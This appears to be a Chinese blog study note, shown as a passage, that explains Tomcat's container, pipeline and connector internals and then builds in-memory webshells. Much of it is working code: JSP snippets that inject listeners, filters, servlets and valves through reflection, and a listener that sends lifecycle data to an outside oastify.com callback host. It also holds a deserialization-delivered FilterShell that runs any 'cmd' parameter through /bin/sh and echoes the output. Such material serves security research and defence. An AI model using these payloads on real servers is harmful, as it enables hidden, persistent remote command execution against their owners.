本文的技术是21年前的,我自己学习的输出笔记。如果你没学过,可以跟着我的思路来,但我更想表达的是我学习这个东西的思路,就是我是怎么学习的,这个比内容更重要。
谈不上精通,还有好多没写,但是已经不是当下的重点研究了,可以以Tomcat的学习研究为魔板套用到任何一个组件的漏洞挖掘上。
全文写作没有跟着任何一个其他别人文章的思路来的,我是从头到尾自己分析的,图也是自己画的,我只是拿着以前的代码,然后去调试,因为可以看懂源码和Tomcat内的运行逻辑,然后以拿到的代码为基础,延伸出一些自己的思考。我学习Tomcat大概用了一周,学习内存马并写文章用了一周。
如果想全面的去学习内存马可以去看https://xz.aliyun.com/t/11003#toc-10
正文
要想真正明白内存马,必须要先熟悉Tomcat,为此我特意从头到尾刷了一遍《Tomcat深入分析》对Tomcat结构有了一个比较详细的了解。
我用大白话和图片给你讲解一下学习研究内存马或者看源码需要知道Tomcat中的哪些东西。
几个重要的组件
connector,container,service,server
还有几个有助于理解源码的组件
pipeline,valve
首先我们要理解Tomcat是由容器(Container)组成,从外到里分别逐层嵌套,Engine容器,Host容器,Context容器,Wrapper容器。一个Engine容器可以有多个虚拟主机容器(Host容器),一个主机(Host容器)可以有多个应用(Context容器),一个应用要有多个连接请求(Wrapper容器)。上面四个种容器都是Container的实现。
通常情况下上层容器与下层容器之间关系为父子容器,Host没有父容器,Wrapper没有子容器。
Tomcat提供给我们默认的类分别叫做StandardEngine,StandardHost, StandardContext, StandardWrapper。
pipeline是什么呢,中文名字是流水线,每个容器都有自己的pipeline,代表一个完成任务的管道。流水线上面有很多任务,具体任务是什么呢?就是Valve,中文名字是阀。其中Pipeline和Valve都是接口,对于Pipeline有一个标准实现StandardPipeline。对于Valve不同的容器有它自己的实现,比如StandardWrapper容器实现的StandardWrapperValve
我们通过StandardWrapper举个例子,见下文
StandardWrapper 对象的主要职责是:加载它表示的 servlet 并分配它的一个实例。该 Standardwrapper 不会调用 servlet 的 service 方法。这个任务留给StandardWrapperValve 对象,在 StandardWrapper 实例的基本阀门管道。StandardVrapperValve 对象通过调用 StandardWrapper的 allocate 方法获得Servlet 实例。在获得 Servlet 实例之后的 StandardwrapperValve 调用 servlet的 service 方法。
下面代码中关注:构造函数,类成员,allocate方法,loadService方法
public class StandardWrapper extends ContainerBase implements ServletConfig, Wrapper, NotificationEmitter { // 构造函数,我们的pipeline中加入基本的阀,每个pipeline中必须有一个基本阀 public StandardWrapper() { super(); swValve=new StandardWrapperValve(); pipeline.setBasic(swValve); broadcaster = new NotificationBroadcasterSupport(); } // servlet类 protected volatile Servlet instance = null; // 映射 protected final ArrayList<String> mappings = new ArrayList<>(); // 阀 protected StandardWrapperValve swValve; @Override public Servlet allocate() throws ServletException { // ... boolean newInstance = false; // If not SingleThreadedModel, return the same instance every time // 这里涉及多线程访问servlet的问题,我们不关心 if (!singleThreadModel) { // Load and initialize our instance if necessary if (instance == null || !instanceInitialized) { synchronized (this) { if (instance == null) { try { // 获取servlet instance = loadServlet(); newInstance = true; } catch (ServletException e) { throw e; } } if (!instanceInitialized) { // 初始化servlet initServlet(instance); } } } // 省略有关instancePool的代码,类似于线程池,复用servlet return instancePool.pop(); } } public synchronized Servlet loadServlet() throws ServletException { Servlet servlet; try { InstanceManager instanceManager = ((StandardContext)getParent()).getInstanceManager(); try { servlet = (Servlet) instanceManager.newInstance(servletClass); } catch (ClassCastException e) { //... } initServlet(servlet); // 事件通知机制,背后有listener监听 fireContainerEvent("load", this); return servlet; } }
我们再看看StandardWrapperValve,主要关注invoke方法中的servlet获取,过滤链的创建和调用
final class StandardWrapperValve extends ValveBase { @Override public final void invoke(Request request, Response response) throws IOException, ServletException { boolean unavailable = false; requestCount.incrementAndGet(); //请求数量 StandardWrapper wrapper = (StandardWrapper) getContainer(); // 获取wrapper Servlet servlet = null; // servlet Context context = (Context) wrapper.getParent(); // wrapper父容器,代表一个应用 // 检查application是否可用 // 检查servlet是否可用 //... // 分配一个servlet实例来处理request请求 try { if (!unavailable) { servlet = wrapper.allocate(); // 上文我们分析的allocate方法 } } catch (Exception e) { // ... } // 设置一些属性 // ... // 为请求创建一个过滤链 ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); Container container = this.container; try { if ((servlet != null) && (filterChain != null)) { if (context.getSwallowOutput()) { // 不重要 } else { if (request.isAsyncDispatching()) { request.getAsyncContextInternal().doInternalDispatch(); } else { // 执行过滤链逻辑 // 执行过程中也会嗲用servlet的service方法 filterChain.doFilter (request.getRequest(), response.getResponse()); } } } } catch (ClientAbortException | CloseNowException e) { // ... 一些异常 } finally { // ... 释放资源,重置时间 } } }
StandardWRapper的主要作用就是加载创建Servlet实例,以及一些关于Servlet的setter,getter方法
到目前为止我们捋顺一下逻辑
注意一下,最开始的StandardWrapper.getPipeline().getFirst().invoke(request, response);
是上层Context任务的调用,毕竟要完成一个任务需要调用子任务。
如果不是很清晰的话,就看下代码,注意最下面的代码部分
final class StandardContextValve extends ValveBase { @Override public final void invoke(Request request, Response response) throws IOException, ServletException { // ..... // 注意这里 wrapper.getPipeline().getFirst().invoke(request, response); } }
重复这种模式,container->pipeline->valve->container->pipeline->valve,看一下实际的调用栈
ok,我们再最后具体了解一下剩下的几个容器的作用,然后回到最上层的Connector
一个应用程序有自己的资源,类加载器,管理器。所以StandardContext也要有这些内容
public class StandardContext extends ContainerBase implements Context, NotificationEmitter { public StandardContext() { super(); pipeline.setBasic(new StandardContextValve()); broadcaster = new NotificationBroadcasterSupport(); // Set defaults if (!Globals.STRICT_SERVLET_COMPLIANCE) { // Strict servlet compliance requires all extension mapped servlets // to be checked against welcome files resourceOnlyServlets.add("jsp"); } // 监听器 private String applicationListeners[] = new String[0]; private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>(); // 初始化器 private Map<ServletContainerInitializer,Set<Class<?>>> initializers = new LinkedHashMap<>(); // ServletContext的标准实现,表示web应用程序的执行环境。这个类的一个实例与StandardContext的每个实例相关联。 protected ApplicationContext context = null; // 过滤器配置 private Map<String, ApplicationFilterConfig> filterConfigs = new HashMap<>(); // 过滤器的定义信息 private Map<String, FilterDef> filterDefs = new HashMap<>(); // 类加载器 private Loader loader = null; // 管理器 protected Manager manager = null; // 资源 private NamingResourcesImpl namingResources = null; // 访问参数 private final Map<String, String> parameters = new ConcurrentHashMap<>(); // ....等 } @Override protected synchronized void startInternal() throws LifecycleException { // 该方法启动所有的线程 namingResources.start(); resourcesStart(); ((Lifecycle) loader).start(); ((Lifecycle) realm).start(); // 启动子容器 for (Container child : findChildren()) { if (!child.getState().isAvailable()) { child.start(); } } ((Lifecycle) pipeline).start(); ((Lifecycle) manager).start(); } }
然后它还有一些后台线程热部署资源的东西,可以不用停机重新打包,自动更新资源
主机就是一些路径处理,部署处理等等
引擎代表整个catalina的引擎
org.apache.catalina.Server代表catalina服务,其中有端口地址,开关服务,还可以添加很多service,有global资源,类加载器等等,作为一种统筹全局的类,这样就不必再单独启动连接器和容器了。
org.apache.catalina.Service代表服务,一个服务有一个容器和多个连接器,你可以添加不同协议的连接器,以便可以同时支持Http以及Https协议。
你有没有想过Service既然是服务,那和Context有什么关系?Context代表应用。一个服务可以有多个应用,可以这么理解,Service是一个统筹管理的角色,Context是具体执行的角色。
以上是Tomcat的结构,还有我们要和外界联系,连接处理等
Tomcat作为一个接受Http请求的软件,客户端过来连接,服务端需要连接动作。
你可以这么理解
在看Tomcat连接器之前,先看一下更下面的部分,这样有助于理解一些东西
当然这是很老以前的模型了,一个线程作为一个Connector。现在你看源码的话都是用NIO连接。是一个多路复用的模型,效率极高。我可以简单给你普及一下,Nio中是以事件为驱动的,比如客户端建立连接事件,服务端接受请求事件,客户端读写事件等。其中服务端有一个Selector线程,专门用来接受不同请求对应的事件,然后分发给下面众多的Worker线程去执行。消息通知用异步的形式,就是不用一直等着你完成给我结果,我把任务给你,我该干啥干啥,你完成了再汇报给我。所以这种相比于传统模型多了一个多路复用,和异步通信,效率自然就高了。
Tomcat默认使用Coyote连接器
从下往上看,第一排是EndPoint,EndPoint 是 Coyote 通信端点,即通信监听的接⼝,是具体Socket接收和发送处理器,是对传输层的抽象,因此EndPoint⽤来实现TCP/IP协议的。我们学过OSI七层模型,TCP/IP是网络层和传输层,最上面是应用层,落实到Tomcat中就是Http协议等的处理
再往上你看到了Http11Processor,默认情况下,Tomcat使用这个处理器,它会接收来⾃EndPoint的Socket,读取字节流解析成Tomcat Request和Response对象,并通过Adapter将其提交到容器处理。还有AjpProcessor,对应处理ajp协议。ajp协议就是一个加速版的http协议,效率高,集群的时候通常使用,但是Tomcat存在历史漏洞,使用此协议有风险。
当处理器处理协议的时候又提供了一些接口,表示为ProtocolHandler,Coyote 协议接⼝, 通过Endpoint 和 Processor , 实现针对具体协议的处理能⼒。Tomcat 按照协议和I/O 提供了6个实现类 : AjpNioProtocol ,AjpAprProtocol, AjpNio2Protocol , Http11NioProtocol ,Http11Nio2Protocol ,Http11AprProtocol。
最后来到CoyoteAdapter,可以看到连接器直接调用服务。
@Override public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception { Request request = (Request) req.getNote(ADAPTER_NOTES); Response response = (Response) res.getNote(ADAPTER_NOTES); if (request == null) { // 创建request以及一些设置 } if (connector.getXpoweredBy()) { response.addHeader("X-Powered-By", POWERED_BY); } boolean async = false; boolean postParseSuccess = false; req.getRequestProcessor().setWorkerThreadName(THREAD_NAME.get()); try { // Parse and set Catalina and configuration specific // request parameters postParseSuccess = postParseRequest(req, request, res, response); if (postParseSuccess) { //check valves if we support async // 检查阀 request.setAsyncSupported( connector.getService().getContainer().getPipeline().isAsyncSupported()); // Calling the container // 调用服务,调用容器,调用流水线,调用StandardEngineValve connector.getService().getContainer().getPipeline().getFirst().invoke( request, response); } // ... }
我建议你先搭建一个Tomcat环境
https://blog.csdn.net/gaoqingliang521/article/details/108677301
我之前在Springboot环境下搭建的,没成功,也无法调试。不建议使用Springboot,直接用java+Tomcat。Tomcat9.0.55,jdk8u66可以,尝试Tomcat10.x没成功,希望你别踩坑。
我们先搞jsp内存马,将下面代码作为jsp文件,并访问,你如果想调试,应该可以在jsp上直接直接下断点。
<% Field f = request.getClass().getDeclaredField("request"); f.setAccessible(true);//因为是protected Request req = (Request) f.get(request);//反射获取值 StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext ServletRequestListener listener = new ServletRequestListener() { public void requestDestroyed(ServletRequestEvent sre) { } public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); try { Field reqField = req.getClass().getDeclaredField("request"); reqField.setAccessible(true); // org.apache.catalina.connector.Request Object reqObj = reqField.get(req); // org.apache.catalina.connector.Response HttpServletResponse rep = (HttpServletResponse) reqObj.getClass().getDeclaredMethod("getResponse").invoke(reqObj); PrintWriter out = rep.getWriter(); out.println("listener_xjj_test"); }catch (Exception e){ e.printStackTrace(); } } }; context.addApplicationEventListener(listener); %>
通过阅读代码,可以大致理解,我们通过jsp中的request,反射获取其Context,然后想其中添加一个我们自定义的监听器,监听器的逻辑是建立请求的时候执行代码。
1.首先这个request是哪来的?
查资料:JSP request是HttpServletRequest类型的隐式对象,即由web容器为每个JSP请求创建。
2.监听器是什么?
这个在前文没有给出,现在学一下、还记得前面的Context吗,在应用中我们设置大部分的监听器,在StandardContext中有监听器启动的函数listenerStart()。当然好奇的我们发现Host以及Engine也有相应的监听器,但是不多用处也不大。
3.如何通知监听器?
在生命周期中通过ContainerBase的fireXxxxEvent函数进行事件通知
4.都有哪些监听器?
在ContainerBase中:
LifecycleListener,ContainerListener,PropertyChangeListener,分别表示生命周期,容器,属性改变的时候进行事件通知,里面涉及到很多具体的东西,比如生命周期的各个阶段,容器中添加子容器父容器,类中字段属性等等他们进行改变时会通知监听器
在StandardContext中:
重写的方法fireRequestInitEvent和fireRequestDestroyEvent中找到ServletRequestListener,分别表示请求建立和销毁时会通知的监听器
大致就找到这些,至于为什么在容器中找监听器,大致因为容器是整个Tomcat运行的单位。引擎,主机,应用,servlet任何一个变化都会通知其所属的各个监听器。
5.如何注册监听器?
我们可以在Container的子类中找到addXxxListener()函数,用于注册监听器
到现在我们可以大致总结一下,如果我们可以在容器中注册我们自定义的监听器该多好,某个时间触发我们的监听器,就执行我们自定义的方法,也就是说我们写的jsp文件动态注册了个监听器到内存中,增加一个自删除的逻辑把文件删除。当然我相信可以注册的不仅仅只有监听器,一定还可以注册其他东西。而且监听器也不仅仅只是注册这ServletRequestListener一种。这都是后话了,先继续看这个。
6.OK,那反过来怎么写出的这个jsp文件?
首先我们明确目的:注册自定义监听器到内存中,监听器触发条件最好简单一些。
前提是我们jsp文件可以使用request,这个request是HttpServletRequest的实现,其中org.apache.catalina.connector.Request是之一,Coyote请求的包装器对象。可能老版本用外观模式封装了一层RequestFacade。我们可以通过Request拿到Host,Context,Wrapper
我们去搜addXxxListener函数
1)Wrapper/Host:
addNotificationListener(NotificationListener listener, NotificationFilter filter, Object object) - ok
2)Context:
addNotificationListener(NotificationListener listener, NotificationFilter filter, Object object) - ok
addWrapperListener(String listener) - pass
addWrapperLifecycle(String listener) - pass
addApplicationListener(String listener) - pass
addApplicationLifecycleListener(LifecycleListener listener) - ok
addApplicationEventListener(Object listener) - ok
3)公共:
addLifecycleListener(LifecycleListener listener) - ok
addContainerListener(ContainerListener listener) - ok
addPropertyChangeListener(PropertyChangeListener listener) - ok
除了传参是String外的Listener都可以注入
我这里在原先的基础上再尝试一个
<%@ page import="javax.servlet.ServletRequestListener"%> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.LifecycleListener" %> <%@ page import="org.apache.catalina.LifecycleEvent" %> <%@ page import="java.net.URL" %> <%@ page import="java.net.HttpURLConnection" %> <%@ page import="java.net.ProtocolException" %> <% Field f = request.getClass().getDeclaredField("request"); f.setAccessible(true);//因为是protected Request req = (Request) f.get(request);//反射获取值 StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext ServletRequestListener listener = new ServletRequestListener() { public void requestDestroyed(ServletRequestEvent sre) { } public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); try { Field reqField = req.getClass().getDeclaredField("request"); reqField.setAccessible(true); // org.apache.catalina.connector.Request Object reqObj = reqField.get(req); // org.apache.catalina.connector.Response HttpServletResponse rep = (HttpServletResponse) reqObj.getClass().getDeclaredMethod("getResponse").invoke(reqObj); PrintWriter out = rep.getWriter(); // rep.sendError(404); out.println("listener_xjj_test"); }catch (Exception e){ e.printStackTrace(); } } }; LifecycleListener lifecycleListener = new LifecycleListener() { @Override public void lifecycleEvent(LifecycleEvent lifecycleEvent) { try { String url = String.format("http://%s.kpdqe2die2cb57xb28zkf1kp6gc70xom.oastify.com", lifecycleEvent.getData()); URL obj = new URL(url); HttpURLConnection con = (HttpURLConnection) obj.openConnection(); con.setRequestMethod("GET"); con.getResponseCode(); } catch (Exception e) { e.printStackTrace(); } } }; // context.addApplicationEventListener(listener); context.addLifecycleListener(lifecycleListener); // context.addApplicationLifecycleListener(lifecycleListener); %>
妈的,写了一堆全都没保存,想死的心都有了,下面的我就长话短说了,不拐弯墨迹了。可能错过很多细节,但是,活该我在网页上写文档。网页编辑器太傻逼了。我先在本地写,然后再传到网上去
我们可以获取context,自然就可以通过context添加任何一个东西到我们运行的程序中,如果我们足够了解其内部逻辑的话,一切皆有可能。
如何注入一个Filter到程序呢?自然想到上文我们提到了ApplicationFilterChain,通过查找其createFilterChain代码,了解到如下重要信息:
添加之前在FilterMaps中要有相关信息
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) { // Add the relevant path-mapped filters to this filter chain for (int i = 0; i < filterMaps.length; i++) { if (!matchDispatcher(filterMaps[i] ,dispatcher)) { continue; } if (!matchFiltersURL(filterMaps[i], requestPath)) continue; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName()); if (filterConfig == null) { // FIXME - log configuration problem continue; } filterChain.addFilter(filterConfig); } // Add filters that match on servlet name second for (int i = 0; i < filterMaps.length; i++) { if (!matchDispatcher(filterMaps[i] ,dispatcher)) { continue; } if (!matchFiltersServlet(filterMaps[i], servletName)) continue; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName()); if (filterConfig == null) { // FIXME - log configuration problem continue; } filterChain.addFilter(filterConfig); } // Return the completed filter chain return filterChain; }
进一步去找ApplicationFilterConfig的构造函数,我们需要一个FilterDef类,而FilterDef中存在Filter类
ApplicationFilterConfig(Context context, FilterDef filterDef) public class FilterDef implements Serializable { private transient Filter filter = null; }
明确
构造Filter
其中ApplicationFilterChain需要我们通过反射获取
<%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.util.Map" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.io.PrintWriter" %> <% // context Field f = request.getClass().getDeclaredField("request"); f.setAccessible(true);//因为是protected Request req = (Request) f.get(request);//反射获取值 StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext // filter and filterDef // 注意填一些基本信息 Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletResponse.getWriter().println("filter_xjj_test"); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName("xjjFilter"); filterDef.setFilterClass(filter.getClass().getName()); context.addFilterDef(filterDef); // applicationConfig Constructor<ApplicationFilterConfig> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); declaredConstructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = declaredConstructor.newInstance(context, filterDef); // context.filterConfigs reflect, 加入applicationconfig Field filterConfigs = context.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); Map map = (Map) filterConfigs.get(context); map.put("xjjFilter", applicationFilterConfig); // add ApplicationfilterConfig to the filterConfigs // filterMap // 加入map之前一定先假如def,否则会做检查 FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName("xjjFilter"); context.addFilterMap(filterMap); %>
根据前文servlet联想到wrapper容器,我们只需要构造一个wrapper并加入到context即可
注意,我们的应用要添加对应的路径匹配,因为一个应用可以有很多个servlet,不同路径对应的都不同
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.io.IOException" %> <%@ page import="java.util.Arrays" %> <% // context Field f = request.getClass().getDeclaredField("request"); f.setAccessible(true);//因为是protected Request req = (Request) f.get(request);//反射获取值 StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext // servlet Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { servletResponse.getWriter().println("servlet_xjj_test"); } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }; Wrapper wrapper = context.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setServlet(servlet); wrapper.setServletClass(servlet.getClass().getName()); wrapper.setName("xjjWrapper"); // // 没用 // Wrapper[] children = (Wrapper[]) context.getChildren(); // long count = Arrays.stream(children).filter(c -> c.getName().equals("xjjWrapper")).count(); // if (count == 1) { // return; // } context.addChild(wrapper); // 父子容器记得关联 // 添加servlet映射 context.addServletMappingDecoded("/*", "xjjWrapper"); %>
不废话,pipeline中加入valve
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.Valve" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.Pipeline" %><% // context Field f = request.getClass().getDeclaredField("request"); f.setAccessible(true);//因为是protected Request req = (Request) f.get(request);//反射获取值 StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext Valve valve = new Valve() { @Override public Valve getNext() { return null; } @Override public void setNext(Valve valve) { } @Override public void backgroundProcess() { } @Override public void invoke(Request request, Response response) throws IOException, ServletException { response.getWriter().println("xjj_valve_test"); } @Override public boolean isAsyncSupported() { return false; } }; Pipeline pipeline = context.getPipeline(); // pipeline.setBasic(); pipeline.addValve(valve); %>
内存马只是作为恶意文件的一种。我们在本地写的时候自然是jsp文件直接经过jasper编译,生成java执行,再生成html回送给客户端,但是真实环境中不会这样。我们即使将jsp文件上传到对方的服务器,也是会文件落地。将filter,servlet等注入到对方的运行环境中,同时又销声匿迹,该如何做到?
可以想起cc链中的TemplatesImpl,我们将恶意类转化为字节数组,存入到_bytecodes中,序列化后,发送给对方。
然后对方反序列化时触发TemplatesImpl的defineClass方法构造java.lang.Class类,然后内部还会执行Class.newInstance()实例化,触发static代码片段。
我们不用jasper处理jsp文件。直接把jsp写成java文件,然后转化成字节数组
遇到问题:之前写jsp的时候使用了request对象,现在没有了,我们还需要通过反射来获取一下。具体从哪里反射,就见仁见智开始搜了,或者直接看别人的文章。
我们自己想想,request会经过哪里?一个请求从封装成网络包开始就存在了,就是我们上面分析的,先是connector接受请求形成connection,其在AbstrctProtocol中ConnectionHandler类中的Map<S, Processor> connections,是一个ConcurrentHashMap。key是一个NioChannel,value是一个Http11Processor类。在这个类构造的时候就封装好了request,AbstractProcessor是父类
protected AbstractProcessor(Adapter adapter, Request coyoteRequest, Response coyoteResponse) { this.adapter = adapter; asyncStateMachine = new AsyncStateMachine(this); request = coyoteRequest; response = coyoteResponse; response.setHook(this); request.setResponse(response); request.setHook(this); userDataHelper = new UserDataHelper(getLog()); }
紧接着会经过CoyoteAdapter,以及各个Valve,在这个过程中肯定是对request进行各种处理,不过valve不会存储request。但是形成servlet的地方还是我们的最小任务单位StandardWrapperValve,使用wrapper.allocate()创建servlet,然后会创建一个ApplicationFilterChain,紧接着对request进行过滤,在最后一个doFilter的方法的时候会执行我们servlet的service方法形成结果返回给客户端。
ApplicationFilterChain是一个好的地方,因为执行过滤链ApplicationFilterChain时request是赋值过了的,其内部包含context对象。
细节就是通过调试代码写出的,没有任何可学的地方。
/** * Created by xjj on 2023/7/14. */ import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Context; import org.apache.catalina.core.*; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import javax.servlet.*; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Modifier; import java.util.Map; public class FilterShell extends AbstractTranslet implements Filter { static { System.out.println("doInjectFilter"); try { Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse"); //修改static final setFinalStatic(WRAP_SAME_OBJECT_FIELD); setFinalStatic(lastServicedRequestField); setFinalStatic(lastServicedResponseField); //静态变量直接填null即可 ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null); ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){ WRAP_SAME_OBJECT_FIELD.setBoolean(null,true); lastServicedRequestField.set(null, new ThreadLocal()); lastServicedResponseField.set(null, new ThreadLocal()); }else { ServletRequest servletRequest = lastServicedRequest.get(); ServletResponse servletResponse = lastServicedResponse.get(); //开始注入内存马 ServletContext servletContext = servletRequest.getServletContext(); Field context = servletContext.getClass().getDeclaredField("context"); context.setAccessible(true); // ApplicationContext 为 ServletContext 的实现类 ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext); Field context1 = applicationContext.getClass().getDeclaredField("context"); context1.setAccessible(true); // 这样我们就获取到了 context StandardContext standardContext = (StandardContext) context1.get(applicationContext); //1、创建恶意filter类 Filter filter = new FilterShell(); //2、创建一个FilterDef 然后设置filterDef的名字,和类名,以及类 FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName("Sentiment"); filterDef.setFilterClass(filter.getClass().getName()); // 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中 standardContext.addFilterDef(filterDef); //3、将FilterDefs 添加到FilterConfig Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put("Sentiment",filterConfig); //4、创建一个filterMap FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName("Sentiment"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); //将自定义的filter放到最前边执行 standardContext.addFilterMapBefore(filterMap); servletResponse.getWriter().write("Inject Success !"); } } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { if (request.getParameter("cmd") != null) { // 注意这块 String[] cmds = {"/bin/sh","-c",request.getParameter("cmd")}; // String[] cmds = {"cmd", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); byte[] bcache = new byte[1024]; int readSize = 0; try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) { while ((readSize = in.read(bcache)) != -1) { outputStream.write(bcache, 0, readSize); } response.getWriter().println(outputStream.toString()); } } } @Override public void destroy() { } public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException { field.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); } }
具体代码可以看我的github: https://github.com/x-j-j/learning-anything/tree/master/learning-hack/hack-apache/hack-tomcat/memory-uses,或者你去看天下大木头的博客链接在最下方,但是他写的有点复杂,不需要两步执行。
我写的一个controller,访问端口是inject,doGet逻辑是反序列化。
为什么要费大劲画逻辑图?为了过了很久以后,一下子就能回忆起来,这个是个什么东西。
最后的成功截图
只是一个探索,不感兴趣的可以直接跳过。但是,既然我们要精通内存马,这一步则是必不可少的。
下面的代码部分是我自己根据思路来的,其实几年前有人已经研究出了半自动化搜索request的代码,见更下方。
自己探索
我们主要是通过request拿到我们的context,CoyoteAdapter的确可以直接创建一个请求,我们反射获取其connector,然后执行如下代码
request = this.connector.createRequest();
但是并没有context,context是后面赋值的。可以试着找一下StandardContext是在哪里赋值的,在构造函数打断点,我们找到context初始化的部分
调用链如下
ServletWebServerApplicationContext.onRfresh()
ServletWebServerApplicationContext.createWebServer()
TomcatServletWebServerFactory.getWebServer()
public WebServer getWebServer(ServletContextInitializer... initializers) {
Tomcat tomcat = new Tomcat();
File baseDir = this.baseDirectory != null ? this.baseDirectory : this.createTempDir("tomcat");
tomcat.setBaseDir(baseDir.getAbsolutePath());
Connector connector = new Connector(this.protocol);
tomcat.getService().addConnector(connector);
this.customizeConnector(connector);
tomcat.setConnector(connector);
tomcat.getHost().setAutoDeploy(false);
this.configureEngine(tomcat.getEngine());
Iterator var5 = this.additionalTomcatConnectors.iterator();
while(var5.hasNext()) {
Connector additionalConnector = (Connector)var5.next();
tomcat.getService().addConnector(additionalConnector);
}
// 这块初始化context
this.prepareContext(tomcat.getHost(), initializers);
return this.getTomcatWebServer(tomcat);
}
在哪里给request赋值的呢?最终在CoyoteAdapter的service方法里找到全部的逻辑,在postParseRequest方法中设置。也就是说我们至少要在这个方法之后的request才能反射出来context。
@Override
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res)
throws Exception {
Request request = (Request) req.getNote(ADAPTER_NOTES);
Response response = (Response) res.getNote(ADAPTER_NOTES);
if (request == null) {
// Create objects
request = connector.createRequest();
request.setCoyoteRequest(req);
response = connector.createResponse();
response.setCoyoteResponse(res);
// Link objects
request.setResponse(response);
response.setRequest(request);
// Set as notes
req.setNote(ADAPTER_NOTES, request);
res.setNote(ADAPTER_NOTES, response);
// Set query string encoding
req.getParameters().setQueryStringCharset(connector.getURICharset());
}
if (connector.getXpoweredBy()) {
